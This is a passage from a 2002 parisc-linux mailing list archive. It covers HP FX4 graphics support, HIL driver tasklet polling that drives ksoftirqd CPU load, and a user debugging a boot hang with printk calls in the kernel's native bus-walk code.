isn't, please update.  The other might be GSC buswalk code. I thought
the bus's under U2 are walked to detect devices not listed by PDC.
But I don't know exactly when that occurs in the boot sequence.

grant


From - Thu Nov 08 21:24:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can't start X-windows on HP C240 with HP FX4 graphics card ?
Date: Wed, 9 Oct 2002 00:33:16 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20021008223316.GB3692@solo.franken.de>
References: <5.1.0.14.2.20021007125233.00ada6a0@pophost.khk.be> <3DA1BB0F.97887A66@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621807 15195 80.91.229.3 (22 Nov 2014 02:03:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "b.gunreben" <b.gunreben@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 16:45:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (dns.franken.de [193.175.24.33])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2C10E4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 16:45:06 -0600 (MDT)
Original-Received: from uucp by elvis.franken.de with local-rmail (Exim 3.22 #1)
	id 17z366-0000bs-00; Wed, 09 Oct 2002 00:45:02 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 7617827E29; Wed,  9 Oct 2002 00:33:16 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3DA1BB0F.97887A66@web.de>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16415

On Mon, Oct 07, 2002 at 06:49:19PM +0200, b.gunreben wrote:
> the FX? Cards are unsupported at the moment. However, if I understand
> correctly, there has been a port for x86 linux at times of kernel
> 2.2.16. I am not a kernel hacker, but I would like to know if there is a
> possibility to port the beta quality  driver from 
> http://www.hp.com/workstations/support/software/drivers/linux/video/fxvideo/
> to current kernels.

porting the kernel won't help, the X server modules contain all the
important bits. The header file supplied with the kernel sources give
some insides about the FX hardware. But not enough to give an idea
how to setup the framebuffer to a mode, we could use for a simple
framebuffer.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]


From - Thu Nov 08 21:24:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New PA-RISC/Linux Boot HOWTO out !
Date: Wed, 09 Oct 2002 01:28:27 +0200
Organization: ESIEE
Lines: 22
Approved: news@gmane.org
Message-ID: <3DA36A1B.9080808@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621807 15197 80.91.229.3 (22 Nov 2014 02:03:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:27 +0000 (UTC)
To: parisc-linux <parisc-linux@parisc-linux.org>,
	parisc-linux-announce@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 17:31:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 968B74829; Tue,  8 Oct 2002 17:31:04 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP
	id 4B28249C81; Wed,  9 Oct 2002 01:31:01 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP
	id B25B549C6A; Wed,  9 Oct 2002 01:31:00 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16416

Hi fellow pa-ckers !

Thomas Marteaut and I are proud to announce the release of the 
PA-RISC/Linux Boot HOWTO version 1.0 !

This release is the result of a long work, and features many new and 
improved sections.

You can find it as usual on the PA/Team website:
http://pateam.esiee.fr/parisc-linux-boot/doc.html

and on TLDP.

HTH !


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:24:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Can't start X-windows on HP C240 with HP FX4 graphics card ?
Date: Wed, 9 Oct 2002 01:33:05 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <000601c26f23$0d62c330$f10f51d9@PLUTO>
References: <20021008223316.GB3692@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621807 15201 80.91.229.3 (22 Nov 2014 02:03:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:27 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 17:31:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id B96864829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 17:31:38 -0600 (MDT)
Original-Received: from [195.20.224.204] (helo=mrvdomng.kundenserver.de)
	by moutvdom.kundenserver.de with esmtp (Exim 3.35 #1)
	id 17z3p9-0007bH-00
	for parisc-linux@lists.parisc-linux.org; Wed, 09 Oct 2002 01:31:35 +0200
Original-Received: from [217.81.15.241] (helo=PLUTO)
	by mrvdomng.kundenserver.de with esmtp (Exim 3.35 #1)
	id 17z3p8-0000Mb-00
	for parisc-linux@lists.parisc-linux.org; Wed, 09 Oct 2002 01:31:34 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
In-Reply-To: <20021008223316.GB3692@solo.franken.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16417

Thomas:
> porting the kernel won't help, the X server modules 
> contain all the important bits. 

... and they are not open source, right? Damn.

And HP is not violating any versions GPL there? Did they build modules
from scratch?

tg



From - Thu Nov 08 21:24:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can't start X-windows on HP C240 with HP FX4 graphics card ?
Date: Tue, 8 Oct 2002 16:37:39 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20021008233739.GE5602@tausq.org>
References: <20021008223316.GB3692@solo.franken.de> <000601c26f23$0d62c330$f10f51d9@PLUTO>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621808 15203 80.91.229.3 (22 Nov 2014 02:03:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tobias Giesen <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 17:36:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7A454829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 17:36:17 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A4964CD83C; Tue,  8 Oct 2002 16:37:39 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <000601c26f23$0d62c330$f10f51d9@PLUTO>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16418

> > porting the kernel won't help, the X server modules 
> > contain all the important bits. 
> 
> ... and they are not open source, right? Damn.
> 
> And HP is not violating any versions GPL there? Did they build modules
> from scratch?

1. xfree86 does not have a GPL license
2. there have been many precedences for binary-only X drivers.

(I'm not saying this is a good thing, mind you...)

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd eats 100% cpu :-(
Date: Tue, 8 Oct 2002 19:48:54 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <20021008234854.GE18202@systemhalted>
References: <200210081427.IAA27522@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621808 15204 80.91.229.3 (22 Nov 2014 02:03:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 17:58:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 618B14829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 17:58:29 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 17z45u-00067N-00; Tue, 08 Oct 2002 19:48:54 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John Marvin <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200210081427.IAA27522@udlkern.fc.hp.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (15% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16419

> 
> > It's a bug/feature related to the HIL drivers.
> > Since we have to poll the HIL ports the whole time
> > the bunch of running timers increase the ksoftirqd load a lot.
> 
> I understand that polling is necessary while sending commands out
> to hil devices, but input should be interrupt driven. What is the
> reason for all of the polling?
> 
> John Marvin
> jsm@fc.hp.com


It's interrupt driven, but the ISR _always_ calls tasklet_schedule 
to do the real work. The HIL state machine and SERIO layer hooks
in a function to it's own tasklet so it can update on interrupt.

Most drivers usage of tasklets involves:

a- Setup and enable during module init
b- Leave them alone.

I assume that this is the case, because tasklets are CPU intensive.
It would be nice to have someone investiage this... if not, it goes
on the end of my now _really_ long todo list :)

c.



From - Thu Nov 08 21:24:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd eats 100% cpu :-(
Date: Tue, 8 Oct 2002 23:46:46 -0400 (EDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.44.0210082251330.6903-100000@mojo.calyx.net>
References: <200210081427.IAA27522@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621808 15209 80.91.229.3 (22 Nov 2014 02:03:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  8 21:46:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.calyx.net (mail.calyx.com [216.82.160.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 4BD444829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Oct 2002 21:46:52 -0600 (MDT)
Original-Received: (qmail 1567 invoked from network); 9 Oct 2002 03:50:01 -0000
Original-Received: from mojo.calyx.com (HELO mojo) (daap60e2eblcgsi2grlz@216.82.160.22)
  by mail.calyx.com with SMTP; 9 Oct 2002 03:50:01 -0000
In-Reply-To: <200210081427.IAA27522@udlkern.fc.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16420


On Tue, 8 Oct 2002, John Marvin wrote:
> I understand that polling is necessary while sending commands out
> to hil devices, but input should be interrupt driven. What is the
> reason for all of the polling?

The polling in the driver can definitely be improved.  I haven't
had the inspiration to go do so yet.

First off, on a system that has just a mouse and keyboard, doesn't
need to use any of the other features in the HP SDC (the real time
clock, which seems redundant in most systems capable of running
parisc-linux, the timers, and the tone generator), and doesn't need to
keep track of plug/unplug events for multiple mice/keyboards or transfer
large amounts of data to the HIL, which is probably going to be 90%+ of
the user base, a much simpler driver that allows the i8042 firmware to drive
the HIL MLC could be written, sort of like the USB_HIDBP stuff.

The HIL driver that's in there now is more like the full-fledged
USB driver, and repolls of the loop to check for added/removed
devices are done manually, which allows more information to be extracted
from the devices during this process.  Unfortunately, because the MLC was
designed a bit cretinously, it expects the host to wait for timeouts
and responses.  The current design uses a state machine to keep
those delays from having an impact on the real-time scheduling, rather
than busy-polling.  Unfortunately again, the system clock only has a 100HZ
frequency, so in order to provide timely responses the driver runs an
opportunistic tasklet in order to catch the CPU during a context
switch.  The linux tasket scheduler is a bit limited in that you
cannot tell it not to re-call a tasklet more than once every
N nanoseconds unless that N is as large as a full clock tick (10ms).

So most of the time the tasklet gets woken up, decides there's nothing
to do, and goes back to bed.  This should only takes a very few CPU
cycles (238 to be precise), so I don't know why it accounts for so much
time.  I guess the kernel decides when the system is idle to run the
tasklets continuously, which is not the way I was expecting them to behave
(I was expecting them to run one time per IRQ, and once all the taskets
returned and there was no work to do in userspace, the idle task would
start.  I believe that that is what the documentation I was using said
would happen when a tasklet rechedules itself, but apparently it was
wrong.)

Rest assured that the HIL driver does move aside for real work, it's
just taking the place of the idle task, really.  Not that that's
a good thing -- the idle task is supposed to use any power-saving
CPU instructions available to decrease power consumption.

BTW, does anyone have any hardware that does host-to-HIL transfers?
So far the only one I could potentially test with is the tiny
command that sets the autorepeat rate on the keyboard -- I don't even have
a keyboard with LEDs :-(

Additionally I'm interested to know if the HIL MLC chipsets were ever
used in system without the accompanying i8042.

--
Brian S. Julin




From - Thu Nov 08 21:24:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Enrik Berkhan <Enrik.Berkhan@planb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd eats 100% cpu :-(
Date: Wed, 9 Oct 2002 09:41:12 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <20021009074112.GB29250@electra.intern.planb.de>
References: <200210081427.IAA27522@udlkern.fc.hp.com> <Pine.BSO.4.44.0210082251330.6903-100000@mojo.calyx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621809 15212 80.91.229.3 (22 Nov 2014 02:03:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 01:41:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.planb.de (aldebaran.planb.de [212.227.14.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 790CE4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 01:41:16 -0600 (MDT)
Original-Received: from electra.intern.planb.de (andromeda.planb.de [212.227.19.14])
	by mail.planb.de with esmtp 
	id 17zBSz-0000yr-00; Wed, 09 Oct 2002 09:41:13 +0200
Content-Disposition: inline
In-Reply-To: <Pine.BSO.4.44.0210082251330.6903-100000@mojo.calyx.net>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16421

Hi,

On Tue, Oct 08, 2002 at 11:46:46PM -0400, Brian S. Julin wrote:
> BTW, does anyone have any hardware that does host-to-HIL transfers?

How about a "46081A HP-HIL / AUDIO EXTENSION"? Shouldn't this need
host-to-HIL transfers for audio output?

Cheers,
Enrik


From - Thu Nov 08 21:24:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot (micro) hang
Date: Wed, 09 Oct 2002 14:44:54 +0200
Lines: 375
Approved: news@gmane.org
Message-ID: <3DA424C6.58F6806C@hpfrcu81.france.hp.com>
References: <3DA2945D.7010301@visoel.de>  <3DA2E27B.5708975E@hpfrcu81.france.hp.com> <20021008170152.AD42D4839@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621809 15215 80.91.229.3 (22 Nov 2014 02:03:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 06:44:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC61E4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 06:44:54 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id C778E45D
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 14:44:46 +0200 (METDST)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id OAA03292; Wed, 9 Oct 2002 14:44:54 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16422

Grant Grundler wrote:
> The long delay happens during device discovery.
> You could enable EARLY_BOOTUP_DEBUG in arch/parisc/kernel/pdc_cons.c
> and add some printk's to the loop in system_map_inventory().
> 
> Only two pieces of code really get executed during that time.
> One is the PDC calls - verify your firmware is the latest and if it
> isn't, please update.  The other might be GSC buswalk code. I thought
> the bus's under U2 are walked to detect devices not listed by PDC.
> But I don't know exactly when that occurs in the boot sequence.
> 
> grant

My Firmware is

Firmware Version  5.2
Duplex Console IO Dependent Code (IODC) revision 1
Boot IO Dependent Code (IODC) revision 153


Dunno if this is good enuff. At least it works for old kernel.


==================================================================

printk() into walk_native_bus() as follow shos this.

static void walk_native_bus(unsigned long io_io_low, unsigned long io_io_high,
                            struct parisc_device *parent)
{
        int i, devices_found = 0;
        unsigned long hpa = io_io_low;
        struct hardware_path path;

printk("1.1 low=0x%08x high=0x%08x\n",io_io_low,io_io_high);
        get_node_path(parent, &path);
        do {
printk("1.2 i=%d hpa=0x%08x\n",0,hpa);
                for (i = 0; i < MAX_NATIVE_DEVICES; i++, hpa +=
NATIVE_DEVICE_OF
FSET) {
                        struct parisc_device *dev;

                        /* Was the device already added by Firmware? */
                        dev = find_device_by_addr(hpa);
                        if (!dev) {
                                path.mod = i;
printk("1.3 i=%d hpa=0x%08x\n",i,hpa);
                                dev = alloc_pa_dev(hpa, &path);
                                if (!dev)
                                        continue;

printk("1.4\n");
                                register_parisc_device(dev);
                                devices_found++;
                        }
                        walk_lower_bus(dev);
                }
        } while (!devices_found && hpa < io_io_high);
}

1.1 low=0xfff80000 high=0xfffc0000
1.2 i=0 hpa=0xfff80000
1.3 i=0 hpa=0xfff80000
1.3 i=1 hpa=0xfff81000
1.3 i=2 hpa=0xfff82000
1.3 i=3 hpa=0xfff83000
1.3 i=4 hpa=0xfff84000
1.3 i=5 hpa=0xfff85000
1.3 i=6 hpa=0xfff86000
1.3 i=7 hpa=0xfff87000
1.3 i=8 hpa=0xfff88000
1.4
1.1 low=0xf2000000 high=0xf4000000
1.2 i=0 hpa=0xf2000000
1.3 i=1 hpa=0xf2001000
1.4
1.3 i=2 hpa=0xf2002000
1.3 i=3 hpa=0xf2003000
1.4
1.3 i=4 hpa=0xf2004000
1.3 i=5 hpa=0xf2005000
1.3 i=6 hpa=0xf2006000
1.3 i=7 hpa=0xf2007000
1.3 i=8 hpa=0xf2008000
1.3 i=9 hpa=0xf2009000
1.3 i=10 hpa=0xf200a000
1.3 i=11 hpa=0xf200b000
1.3 i=13 hpa=0xf200d000
1.3 i=14 hpa=0xf200e000
1.3 i=15 hpa=0xf200f000
